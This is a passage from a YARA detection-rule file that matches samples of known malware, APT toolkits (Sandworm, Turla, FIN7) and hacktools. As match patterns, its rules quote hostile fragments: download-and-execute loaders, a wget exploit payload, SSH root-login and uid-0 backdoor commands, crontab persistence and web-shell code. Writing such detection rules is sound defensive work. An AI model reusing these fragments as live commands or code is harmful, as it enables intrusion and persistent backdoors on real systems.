		$s1 = "MSRSAAP.EXE" fullword wide
		$s2 = "Command successfully executed!|" fullword ascii
		$s3 = "BTMemoryLoadLibary: Get DLLEntyPoint failed" fullword ascii
		$s4 = "I wasn't able to open the hosts file, maybe because UAC is enabled in remote computer!" fullword ascii
		$s5 = "\\Internet Explorer\\iexplore.exe" ascii
		$s6 = "ping 127.0.0.1 -n 4 > NUL && \"" fullword ascii
		$s7 = "BTMemoryGetProcAddress: DLL doesn't export anything" fullword ascii
		$s8 = "POST /index.php/1.0" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 1 of ( $x* ) or 3 of ( $s* ) ) ) or ( all of them )
}

rule Malware_QA_tls
{
	meta:
		description = "VT Research QA uploaded malware - file tls.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Research QA"
		date = "2016-08-29"
		score = 80
		hash1 = "f06d1f2bee2eb6590afbfa7f011ceba9bd91ba31cdc721bc728e13b547ac9370"
		id = "b3b654b1-73cf-5e04-a332-34777f646a66"

	strings:
		$s1 = "\\funoverip\\ultimate-payload-template1\\" ascii
		$s2 = "ULTIMATEPAYLOADTEMPLATE1" fullword wide
		$s3 = "ultimate-payload-template1" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them ) or ( all of them )
}

rule Malware_QA_get_The_FucKinG_IP
{
	meta:
		description = "VT Research QA uploaded malware - file get The FucKinG IP.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Research QA"
		date = "2016-08-29"
		score = 80
		hash1 = "7b2c04e384919075be96e3412d92c14fc1165d1bc7556fd207488959c5c4d2f7"
		id = "1c992fc5-79cf-532c-a18b-cfcc3406d6ed"

	strings:
		$x1 = "C:\\Users\\Mdram ahmed\\AppData"
		$x2 = "\\Local\\Temporary Projects\\get The FucKinG IP\\" ascii
		$x3 = "get The FucKinG IP.exe" fullword wide
		$x4 = "get ip by mdr3m" fullword wide
		$x5 = "MDR3M kik: Mdr3mhm" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of ( $x* ) ) or ( 2 of them )
}

rule Malware_QA_vqgk
{
	meta:
		description = "VT Research QA uploaded malware - file vqgk.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Research QA"
		date = "2016-08-29"
		modified = "2022-12-21"
		score = 80
		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
		id = "9246d9de-92e5-5cb8-857c-1e222c3d74d5"

	strings:
		$x1 = "Z:\\devcenter\\aggressor\\external" ascii
		$x2 = "\\beacon\\Release\\beacon.pdb" ascii
		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
		$x4 = "%d is an x64 process (can't inject x86 content)" fullword ascii
		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
		$s2 = "Could not open process token: %d (%u)" fullword ascii
		$s3 = "\\\\%s\\pipe\\msagent_%x" fullword ascii
		$s4 = "\\sysnative\\rundll32.exe" ascii
		$s5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
		$s6 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
		$s7 = "could not write to process memory: %d" fullword ascii
		$s8 = "beacon.dll" fullword ascii
		$s9 = "Failed to impersonate token from %d (%u)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and ( 1 of ( $x* ) or 5 of ( $s* ) ) ) or ( 7 of them )
}

rule Malware_QA_1177
{
	meta:
		description = "VT Research QA uploaded malware - file 1177.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Research QA"
		date = "2016-08-29"
		score = 80
		hash1 = "ff3a2740330a6cbae7888e7066942b53015728c367cf9725e840af5b2a3fa247"
		id = "363228c1-f9f8-5319-91b2-7eabdd1ca3f8"

	strings:
		$x1 = ".specialfolders (\"startup\") & \"\\ServerName.EXE\"" fullword ascii
		$x2 = "expandenvironmentstrings(\"%%InsallDir%%\") " ascii
		$s1 = "CreateObject(\"WScript.Shell\").Run(" ascii
		$s2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAA" ascii
		$s3 = "cial Thank's to Dev-point.com" fullword ascii
		$s4 = ".createElement(\"tmp\")" fullword ascii
		$s5 = "'%CopyToStartUp%" fullword ascii

	condition:
		( uint16( 0 ) == 0x4d27 and filesize < 100KB and ( 1 of ( $x* ) or 4 of ( $s* ) ) ) or ( 5 of them )
}

import "pe"

rule Monsoon_APT_Malware_1
{
	meta:
		description = "Detects malware from Monsoon APT"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
		date = "2017-09-08"
		modified = "2023-01-06"
		hash1 = "c9642f44d33e4c990066ce6fa0b0956ff5ace6534b64160004df31b9b690c9cd"
		id = "a543c46d-01fc-5276-a915-183263956455"

	strings:
		$s1 = "cmd.exe /c start " fullword ascii
		$s2 = "\\Microsoft\\Templates\\" ascii
		$s3 = "\\Microsoft\\Windows\\" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "a0c824244f1d36ea1dd2759cf7599cd1" or all of them ) )
}

rule Monsoon_APT_Malware_2
{
	meta:
		description = "Detects malware from Monsoon APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
		date = "2017-09-08"
		hash1 = "17c3d0fe08e1184c9737144fa065f4530def30d6591e5414a36463609f9aa53a"
		hash2 = "8e0574ebf3dc640ac82987ab6ee2a02fc3dd5eaf4f6b5275272ba887acd15ac0"
		hash3 = "bf93ca5f497fc7f38533d37fd4c083523ececc34aa2d3660d81014c0d9091ae3"
		id = "dbbccf56-7e36-5c3a-b8d9-ee08d077f29f"

	strings:
		$x1 = "\\Microsoft\\Windows\\coco.exe" ascii
		$x2 = ":\\System Volume Information\\config" fullword ascii
		$x3 = " cscript.[BACKSPA[PAGE DO[CAPS LO[PAGE UPTPX498.dTPX499.d" fullword wide
		$s1 = "\\Microsoft\\Templates\\msvcrt.dll" ascii
		$s2 = "%04d/%02d/%02d %02d:%02d:%02d - {%s}" fullword wide
		$s3 = "wininet.dll    " fullword ascii
		$s4 = "DMCZ0001.dat" fullword ascii
		$s5 = "TZ0000001.dat" fullword ascii
		$s6 = "\\MUT.dat" ascii
		$s7 = "ouemm/emm!!!!!!!!!!!!!" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) or 3 of them ) )
}

rule Win_PrivEsc_gp3finder_v4_0
{
	meta:
		description = "Detects a tool that can be used for privilege escalation - file gp3finder_v4.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://grimhacker.com/2015/04/10/gp3finder-group-policy-preference-password-finder/"
		date = "2016-06-02"
		score = 80
		hash1 = "7d34e214ef2ca33516875fb91a72d5798f89b9ea8964d3990f99863c79530c06"
		id = "3b310c12-ac69-527b-9503-1486ae5f692c"

	strings:
		$x1 = "Check for and attempt to decrypt passwords on share" ascii
		$x2 = "Failed to auto get and decrypt passwords. {0}s/" fullword ascii
		$x3 = "GPPPFinder - Group Policy Preference Password Finder" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and 1 of ( $x* ) ) or ( all of them )
}

rule Win_PrivEsc_folderperm
{
	meta:
		description = "Detects a tool that can be used for privilege escalation - file folderperm.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.greyhathacker.net/?p=738"
		date = "2016-06-02"
		score = 80
		hash1 = "1aa87df34826b1081c40bb4b702750587b32d717ea6df3c29715eb7fc04db755"
		id = "131fdb57-f9ca-5247-8bb4-c939eff5b8bf"

	strings:
		$x1 = "# powershell.exe -executionpolicy bypass -file folderperm.ps1" fullword ascii
		$x2 = "Write-Host \"[i] Dummy test file used to test access was not outputted:\" $filetocopy" fullword ascii
		$x3 = "Write-Host -foregroundColor Red \"      Access denied :\" $myarray[$i] " fullword ascii

	condition:
		1 of them
}

rule Win_PrivEsc_ADACLScan4_3
{
	meta:
		description = "Detects a tool that can be used for privilege escalation - file ADACLScan4.3.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://adaclscan.codeplex.com/"
		score = 60
		date = "2016-06-02"
		hash1 = "3473ddb452de7640fab03cad3e8aaf6a527bdd6a7a311909cfef9de0b4b78333"
		id = "15867a9c-9b9b-5d29-bf51-2b3e91af556f"

	strings:
		$s1 = "<Label x:Name=\"lblPort\" Content=\"Port:\"  HorizontalAlignment=\"Left\" Height=\"28\" Margin=\"10,0,0,0\" Width=\"35\"/>" fullword ascii
		$s2 = "(([System.IconExtractor]::Extract(\"mmcndmgr.dll\", 126, $true)).ToBitMap()).Save($env:temp + \"\\Other.png\")    " fullword ascii
		$s3 = "$bolValid = $ctx.ValidateCredentials($psCred.UserName,$psCred.GetNetworkCredential().Password)" fullword ascii

	condition:
		all of them
}

rule FIN7_Dropper_Aug17
{
	meta:
		description = "Detects Word Dropper from Proofpoint FIN7 Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
		date = "2017-08-04"
		hash1 = "c91642c0a5a8781fff9fd400bff85b6715c96d8e17e2d2390c1771c683c7ead9"
		hash2 = "cf86c7a92451dca1ebb76ebd3e469f3fa0d9b376487ee6d07ae57ab1b65a86f8"
		id = "4929dff6-9f33-5d22-b560-c2195440a1cc"

	strings:
		$x1 = "tpircsj:e/ b// exe.tpircsw\" rt/" fullword ascii
		$s1 = "Scripting.FileSystemObject$" fullword ascii
		$s2 = "PROJECT.THISDOCUMENT.AUTOOPEN" fullword wide
		$s3 = "Project.ThisDocument.AutoOpen" fullword wide
		$s4 = "\\system3" ascii
		$s5 = "ShellV" fullword ascii

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 700KB and 1 of ( $x* ) or all of ( $s* ) )
}

rule FIN7_Backdoor_Aug17
{
	meta:
		description = "Detects Word Dropper from Proofpoint FIN7 Report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
		date = "2017-08-04"
		id = "906daf88-520b-57b5-825e-29f060b43183"

	strings:
		$x1 = "wscript.exe //b /e:jscript C:\\Users\\" ascii
		$x2 = "wscript.exe /b /e:jscript C:\\Users\\" ascii
		$x3 = "schtasks /Create /f /tn \"GoogleUpdateTaskMachineSystem\" /tr \"wscript.exe" ascii nocase
		$x4 = "schtasks /Delete /F /TN \"\"GoogleUpdateTaskMachineCore" ascii nocase
		$x5 = "schtasks /Delete /F /TN \"GoogleUpdateTaskMachineCore" ascii nocase
		$x6 = "wscript.exe //b /e:jscript %TMP%\\debug.txt" ascii
		$s1 = "/?page=wait" fullword ascii
		$a1 = "autoit3.exe" fullword ascii
		$a2 = "dumpcap.exe" fullword ascii
		$a3 = "tshark.exe" fullword ascii
		$a4 = "prl_cc.exe" fullword ascii
		$v1 = "vmware" fullword ascii
		$v2 = "PCI\\\\VEN_80EE&DEV_CAFE" fullword ascii
		$v3 = "VMWVMCIHOSTDEV" fullword ascii
		$c1 = "apowershell" fullword ascii
		$c2 = "wpowershell" fullword ascii
		$c3 = "get_passwords" fullword ascii
		$c4 = "kill_process" fullword ascii
		$c5 = "get_screen" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( 1 of ( $x* ) or all of ( $a* ) or all of ( $v* ) or 3 of ( $c* ) ) ) or 5 of them
}

rule MAL_AveMaria_RAT_Jul19
{
	meta:
		description = "Detects AveMaria RAT"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/abuse_ch/status/1145697917161934856"
		date = "2019-07-01"
		hash1 = "5a927db1566468f23803746ba0ccc9235c79ca8672b1444822631ddbf2651a59"
		id = "960048cf-7a56-50cf-8498-549f900770d8"

	strings:
		$a1 = "operator co_await" fullword ascii
		$s1 = "uohlyatqn" fullword ascii
		$s2 = "index = [%d][%d][%d][%d]" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule APT_Sandworm_Keywords_May20_1
{
	meta:
		description = "Detects commands used by Sandworm group to exploit critical vulernability CVE-2019-10149 in Exim"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		date = "2020-05-28"
		id = "e0d4e90e-5547-5487-8d0c-a141d88fff7c"

	strings:
		$x1 = "MAIL FROM:<$(run("
		$x2 = "exec\\x20\\x2Fusr\\x2Fbin\\x2Fwget\\x20\\x2DO\\x20\\x2D\\x20http"

	condition:
		filesize < 8000KB and 1 of them
}

rule APT_Sandworm_SSH_Key_May20_1
{
	meta:
		description = "Detects SSH key used by Sandworm on exploited machines"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		date = "2020-05-28"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
		id = "ea2968b8-7ae4-56b8-9547-816c5e37c50a"

	strings:
		$x1 = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2q/NGN/brzNfJiIp2zswtL33tr74pIAjMeWtXN1p5Hqp5fTp058U1EN4NmgmjX0KzNjjV"

	condition:
		filesize < 1000KB and 1 of them
}

rule APT_Sandworm_SSHD_Config_Modification_May20_1
{
	meta:
		description = "Detects ssh config entry inserted by Sandworm on compromised machines"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		date = "2020-05-28"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
		id = "dd60eeb7-3d4b-5a6a-8054-50c617ee8c73"

	strings:
		$x1 = "AllowUsers mysql_db" ascii
		$a1 = "ListenAddress" ascii fullword

	condition:
		filesize < 10KB and all of them
}

rule APT_Sandworm_InitFile_May20_1
{
	meta:
		description = "Detects mysql init script used by Sandworm on compromised machines"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		date = "2020-05-28"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
		id = "0bd613e3-6bd4-5cec-bc0d-2bdb83caf142"

	strings:
		$s1 = "GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';" ascii
		$s2 = "CREATE USER 'mysqldb'@'localhost' IDENTIFIED BY '" ascii fullword

	condition:
		filesize < 10KB and all of them
}

rule APT_Sandworm_User_May20_1
{
	meta:
		description = "Detects user added by Sandworm on compromised machines"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		date = "2020-05-28"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
		id = "ada549a4-abcc-5c0a-9601-75631e78c835"

	strings:
		$s1 = "mysql_db:x:" ascii
		$a1 = "root:x:"
		$a2 = "daemon:x:"

	condition:
		filesize < 4KB and all of them
}

rule APT_WEBSHELL_PHP_Sandworm_May20_1
{
	meta:
		description = "Detects GIF header PHP webshell used by Sandworm on compromised machines"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		date = "2020-05-28"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
		id = "b9ec02c2-fa83-5f21-95cf-3528047b2d01"

	strings:
		$h1 = "GIF89a <?php $" ascii
		$s1 = "str_replace(" ascii

	condition:
		filesize < 10KB and $h1 at 0 and $s1
}

rule APT_SH_Sandworm_Shell_Script_May20_1
{
	meta:
		description = "Detects shell script used by Sandworm in attack against Exim mail server"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		date = "2020-05-28"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
		id = "21cf2c89-5511-5eb6-a2dd-4ad54ebfa2d1"

	strings:
		$x1 = "echo \"GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';\" >> init-file.txt" ascii fullword
		$x2 = "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version" ascii fullword
		$x3 = "sed -i -e '/PasswordAuthentication/s/no/yes/g; /PermitRootLogin/s/no/yes/g;" ascii fullword
		$x4 = "useradd -M -l -g root -G root -b /root -u 0 -o mysql_db" ascii fullword
		$s1 = "/ip.php?port=${PORT}\"" ascii fullword
		$s2 = "sed -i -e '/PasswordAuthentication" ascii fullword
		$s3 = "PATH_KEY=/root/.ssh/authorized_keys" ascii fullword
		$s4 = "CREATE USER" ascii fullword
		$s5 = "crontab -l | { cat; echo" ascii fullword
		$s6 = "mysqld --user=mysql --init-file=/etc/opt/init-file.txt --console" ascii fullword
		$s7 = "sshkey.php" ascii fullword

	condition:
		uint16( 0 ) == 0x2123 and filesize < 20KB and 1 of ( $x* ) or 4 of them
}

rule APT_RU_Sandworm_PY_May20_1
{
	meta:
		description = "Detects Sandworm Python loader"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/billyleonard/status/1266054881225236482"
		date = "2020-05-28"
		hash1 = "c025008463fdbf44b2f845f2d82702805d931771aea4b506573b83c8f58bccca"
		id = "a392d800-1fe8-5ae9-b813-e1dfcedecda6"

	strings:
		$x1 = "o.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko')]" ascii fullword
		$s1 = "exec(o.open('http://" ascii
		$s2 = "__import__({2:'urllib2',3:'urllib.request'}"

	condition:
		uint16( 0 ) == 0x6d69 and filesize < 1KB and 1 of ( $x* ) or 2 of them
}

rule APT_RU_Sandworm_PY_May20_2
{
	meta:
		description = "Detects Sandworm Python loader"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/billyleonard/status/1266054881225236482"
		date = "2020-05-28"
		hash1 = "abfa83cf54db8fa548942acd845b4f34acc94c46d4e1fb5ce7e97cc0c6596676"
		id = "5b32ad64-d959-5632-a03c-17aa055b213f"

	strings:
		$x1 = "import sys;import re, subprocess;cmd" ascii fullword
		$x2 = "UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http"
		$x3 = "';t='/admin/get.php';req" ascii
		$x4 = "ps -ef | grep Little\\ Snitch | grep " ascii fullword

	condition:
		uint16( 0 ) == 0x6d69 and filesize < 2KB and 1 of them
}

rule turla_png_dropper
{
	meta:
		author = "Ben Humphrey"
		description = "Detects the PNG Dropper used by the Turla group"
		reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/"
		date = "2018/11/23"
		hash1 = "6ed939f59476fd31dc4d99e96136e928fbd88aec0d9c59846092c0e93a3c0e27"
		id = "459f17c8-0eae-5736-8c7c-286625dc158f"

	strings:
		$api0 = "GdiplusStartup"
		$api1 = "GdipAlloc"
		$api2 = "GdipCreateBitmapFromStreamICM"
		$api3 = "GdipBitmapLockBits"
		$api4 = "GdipGetImageWidth"
		$api5 = "GdipGetImageHeight"
		$api6 = "GdiplusShutdown"
		$code32 = {
            8B 46 3C               // mov     eax, [esi+3Ch]
            B9 0B 01 00 00         // mov     ecx, 10Bh
            66 39 4C 30 18         // cmp     [eax+esi+18h], cx
            8B 44 30 28            // mov     eax, [eax+esi+28h]
            6A 00                  // push    0
            B9 AF BE AD DE         // mov     ecx, 0DEADBEAFh
            51                     // push    ecx
            51                     // push    ecx
            03 C6                  // add     eax, esi
            56                     // push    esi
            FF D0                  // call eax
        }
		$code64 = {
            48 63 43 3C            // movsxd rax, dword ptr [rbx+3Ch]
            B9 0B 01 00 00         // mov ecx, 10Bh
            BA AF BE AD DE         // mov edx, 0DEADBEAFh
            66 39 4C 18 18         // cmp [rax+rbx+18h], cx
            8B 44 18 28            // mov eax, [rax+rbx+28h]
            45 33 C9               // xor r9d, r9d
            44 8B C2               // mov r8d, edx
            48 8B CB               // mov rcx, rbx
            48 03 C3               // add rax, rbx
            FF D0                  // call rax
        }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and all of ( $api* ) and 1 of ( $code* )
}

import "pe"

rule turla_png_reg_enum_payload
{
	meta:
		author = "Ben Humphrey"
		description = "Payload that has most recently been dropped by the Turla PNG Dropper"
		reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/"
		date = "2018/11/23"
		hash1 = "fea27eb2e939e930c8617dcf64366d1649988f30555f6ee9cd09fe54e4bc22b3"
		id = "413bb315-3c01-56ab-92db-00342a11438a"

	strings:
		$crypt00 = "Microsoft Software Key Storage Provider" wide
		$crypt01 = "ChainingModeCBC" wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and pe.imports ( "advapi32.dll" , "StartServiceCtrlDispatcherA" ) and pe.imports ( "advapi32.dll" , "RegEnumValueA" ) and pe.imports ( "advapi32.dll" , "RegEnumKeyExA" ) and pe.imports ( "ncrypt.dll" , "NCryptOpenStorageProvider" ) and pe.imports ( "ncrypt.dll" , "NCryptEnumKeys" ) and pe.imports ( "ncrypt.dll" , "NCryptOpenKey" ) and pe.imports ( "ncrypt.dll" , "NCryptDecrypt" ) and pe.imports ( "ncrypt.dll" , "BCryptGenerateSymmetricKey" ) and pe.imports ( "ncrypt.dll" , "BCryptGetProperty" ) and pe.imports ( "ncrypt.dll" , "BCryptDecrypt" ) and pe.imports ( "ncrypt.dll" , "BCryptEncrypt" ) and all of them
}

rule FVEY_ShadowBrokers_Jan17_Screen_Strings
{
	meta:
		description = "Detects strings derived from the ShadowBroker's leak of Windows tools/exploits"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message7/"
		date = "2017-01-08"
		id = "59832d0a-0cb2-5eb9-a4e2-36aaa09a3998"

	strings:
		$x1 = "Danderspritz" ascii wide fullword
		$x2 = "DanderSpritz" ascii wide fullword
		$x3 = "PeddleCheap" ascii wide fullword
		$x4 = "ChimneyPool Addres" ascii wide fullword
		$a1 = "Getting remote time" fullword ascii
		$a2 = "RETRIEVED" fullword ascii
		$b1 = "Added Ops library to Python search path" fullword ascii
		$b2 = "target: z0.0.0.1" fullword ascii
		$c1 = "Psp_Avoidance" fullword ascii
		$c2 = "PasswordDump" fullword ascii
		$c4 = "EventLogEdit" fullword ascii
		$d1 = "Mcl_NtElevation" fullword ascii wide
		$d2 = "Mcl_NtNativeApi" fullword ascii wide
		$d3 = "Mcl_ThreatInject" fullword ascii wide
		$d4 = "Mcl_NtMemory" fullword ascii wide

	condition:
		filesize < 2000KB and ( 1 of ( $x* ) or all of ( $a* ) or 1 of ( $b* ) or ( uint16( 0 ) == 0x5a4d and 1 of ( $c* ) ) or 3 of ( $c* ) or ( uint16( 0 ) == 0x5a4d and 3 of ( $d* ) ) )
}

rule Tools_cmd
{
	meta:
		description = "Chinese Hacktool Set - file cmd.jSp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "02e37b95ef670336dc95331ec73dbb5a86f3ba2b"
		id = "27c3cb44-9351-52a2-8e14-afade14e3384"

	strings:
		$s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
		$s1 = "java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"Conn\"" ascii
		$s2 = "<%@ page import=\"java.io.*\" %>" fullword ascii
		$s3 = "out.print(\"Hi,Man 2015<br /><!--?Confpwd=023&Conn=ls-->\");" fullword ascii
		$s4 = "while((a=in.read(b))!=-1){" fullword ascii
		$s5 = "out.println(new String(b));" fullword ascii
		$s6 = "out.print(\"</pre>\");" fullword ascii
		$s7 = "out.print(\"<pre>\");" fullword ascii
		$s8 = "int a = -1;" fullword ascii
		$s9 = "byte[] b = new byte[2048];" fullword ascii

	condition:
		filesize < 3KB and 7 of them
}

rule trigger_drop
{
	meta:
		description = "Chinese Hacktool Set - file trigger_drop.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "165dd2d82bf87285c8a53ad1ede6d61a90837ba4"
		id = "3b4f32ff-2de2-5689-869a-8a8f55e7fa0c"

	strings:
		$s0 = "$_GET['returnto'] = 'database_properties.php';" fullword ascii
		$s1 = "echo('<meta http-equiv=\"refresh\" content=\"0;url=' . $_GET['returnto'] . '\">'" ascii
		$s2 = "@mssql_query('DROP TRIGGER" ascii
		$s3 = "if(empty($_GET['returnto']))" fullword ascii

	condition:
		filesize < 5KB and all of them
}

rule InjectionParameters
{
	meta:
		description = "Chinese Hacktool Set - file InjectionParameters.vb"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "4f11aa5b3660c45e527606ee33de001f4994e1ea"
		id = "a77bd0c6-8857-577f-831a-0fcf2537667e"

	strings:
		$s0 = "Public Shared ReadOnly Empty As New InjectionParameters(-1, \"\")" fullword ascii
		$s1 = "Public Class InjectionParameters" fullword ascii

	condition:
		filesize < 13KB and all of them
}

rule users_list
{
	meta:
		description = "Chinese Hacktool Set - file users_list.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "6fba1a1a607198ed232405ccbebf9543037a63ef"
		id = "2d90b593-6b65-502c-aeb0-8f2a3d65afd3"

	strings:
		$s0 = "<a href=\"users_create.php\">Create User</a>" fullword ascii
		$s7 = "$skiplist = array('##MS_AgentSigningCertificate##','NT AUTHORITY\\NETWORK SERVIC" ascii
		$s11 = "&nbsp;<b>Default DB</b>&nbsp;" fullword ascii

	condition:
		filesize < 12KB and all of them
}

rule trigger_modify
{
	meta:
		description = "Chinese Hacktool Set - file trigger_modify.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "c93cd7a6c3f962381e9bf2b511db9b1639a22de0"
		id = "a7d65a9f-82de-554c-8f20-7560d2160041"

	strings:
		$s1 = "<form name=\"form1\" method=\"post\" action=\"trigger_modify.php?trigger=<?php e" ascii
		$s2 = "$data_query = @mssql_query('sp_helptext \\'' . urldecode($_GET['trigger']) . '" ascii
		$s3 = "if($_POST['query'] != '')" fullword ascii
		$s4 = "$lines[] = 'I am unable to read this trigger.';" fullword ascii
